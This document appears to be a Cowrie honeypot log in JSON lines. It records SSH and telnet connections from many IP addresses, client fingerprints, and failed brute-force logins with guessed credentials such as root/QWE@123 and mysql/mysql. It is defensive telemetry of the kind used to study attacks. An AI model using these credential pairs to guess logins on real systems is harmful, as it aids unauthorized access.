{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c4411893416","protocol":"telnet","message":"New connection: 107.6.151.170:33462 (159.203.135.109:23) [session: 4c4411893416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:43.096422Z"}
{"eventid":"cowrie.session.closed","duration":74.92301487922668,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:56.575628Z","src_ip":"137.184.5.188","session":"7a7135244b9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.113163471221924,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:59.985702Z","src_ip":"170.64.224.25","session":"2ff24029951c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":64647,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d4c71d96c3","protocol":"ssh","message":"New connection: 223.197.186.7:64647 (10.17.0.5:22) [session: 18d4c71d96c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:05.778417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:05.782197Z","src_ip":"223.197.186.7","session":"18d4c71d96c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:10.102681Z","src_ip":"223.197.186.7","session":"18d4c71d96c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test6","password":"123","message":"login attempt [test6/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:13.524351Z","src_ip":"223.197.186.7","session":"18d4c71d96c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:14.738049Z","src_ip":"223.197.186.7","session":"18d4c71d96c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.87373757362366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:15.970026Z","src_ip":"107.6.151.170","session":"4c4411893416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":59214,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ce862ba6d8","protocol":"ssh","message":"New connection: 5.182.83.231:59214 (10.17.0.5:22) [session: 11ce862ba6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:18.868045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:18.871931Z","src_ip":"5.182.83.231","session":"11ce862ba6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:18.986685Z","src_ip":"5.182.83.231","session":"11ce862ba6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE@123","message":"login attempt [root/QWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:19.475395Z","src_ip":"5.182.83.231","session":"11ce862ba6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:20.592881Z","src_ip":"5.182.83.231","session":"11ce862ba6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":54310,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81db92be3d0","protocol":"ssh","message":"New connection: 175.118.127.138:54310 (159.203.135.109:22) [session: b81db92be3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:29.463347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:29.468095Z","src_ip":"175.118.127.138","session":"b81db92be3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:29.654856Z","src_ip":"175.118.127.138","session":"b81db92be3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123789","message":"login attempt [root/password123789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:30.405868Z","src_ip":"175.118.127.138","session":"b81db92be3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:31.588481Z","src_ip":"175.118.127.138","session":"b81db92be3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42084,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eeb9803962a","protocol":"ssh","message":"New connection: 91.92.40.4:42084 (10.17.0.5:22) [session: 0eeb9803962a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:33.720032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:33.879415Z","src_ip":"91.92.40.4","session":"0eeb9803962a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:33.882674Z","src_ip":"91.92.40.4","session":"0eeb9803962a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:34.209089Z","src_ip":"91.92.40.4","session":"0eeb9803962a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:35.293275Z","src_ip":"91.92.40.4","session":"0eeb9803962a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":56232,"dst_ip":"10.17.0.5","dst_port":22,"session":"317696f8e46a","protocol":"ssh","message":"New connection: 162.241.132.183:56232 (10.17.0.5:22) [session: 317696f8e46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:41.552206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:41.559408Z","src_ip":"162.241.132.183","session":"317696f8e46a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:41.587754Z","src_ip":"162.241.132.183","session":"317696f8e46a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wintermute","password":"wintermute999","message":"login attempt [wintermute/wintermute999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:41.671682Z","src_ip":"162.241.132.183","session":"317696f8e46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:42.702545Z","src_ip":"162.241.132.183","session":"317696f8e46a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":33572,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71cddcd0e1e","protocol":"ssh","message":"New connection: 161.248.201.12:33572 (159.203.135.109:22) [session: c71cddcd0e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:54.510716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:54.515270Z","src_ip":"161.248.201.12","session":"c71cddcd0e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:54.769877Z","src_ip":"161.248.201.12","session":"c71cddcd0e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pineapple","message":"login attempt [root/pineapple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:55.822091Z","src_ip":"161.248.201.12","session":"c71cddcd0e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:34:57.079590Z","src_ip":"161.248.201.12","session":"c71cddcd0e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":43248,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a1aa6f89cd","protocol":"telnet","message":"New connection: 107.150.146.69:43248 (10.17.0.5:23) [session: 82a1aa6f89cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:02.147801Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2f41881f98","protocol":"ssh","message":"New connection: 103.172.78.219:60154 (159.203.135.109:22) [session: ce2f41881f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:02.170927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:02.175112Z","src_ip":"103.172.78.219","session":"ce2f41881f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:02.438855Z","src_ip":"103.172.78.219","session":"ce2f41881f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"191181","message":"login attempt [root/191181] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:03.232406Z","src_ip":"103.172.78.219","session":"ce2f41881f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:04.499380Z","src_ip":"103.172.78.219","session":"ce2f41881f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":55892,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c3477d075c","protocol":"ssh","message":"New connection: 38.96.178.220:55892 (10.17.0.5:22) [session: c5c3477d075c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.743434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.748461Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:35:14.758055Z","src_ip":"38.96.178.220","session":"c5c3477d075c","protocol":"ssh"}
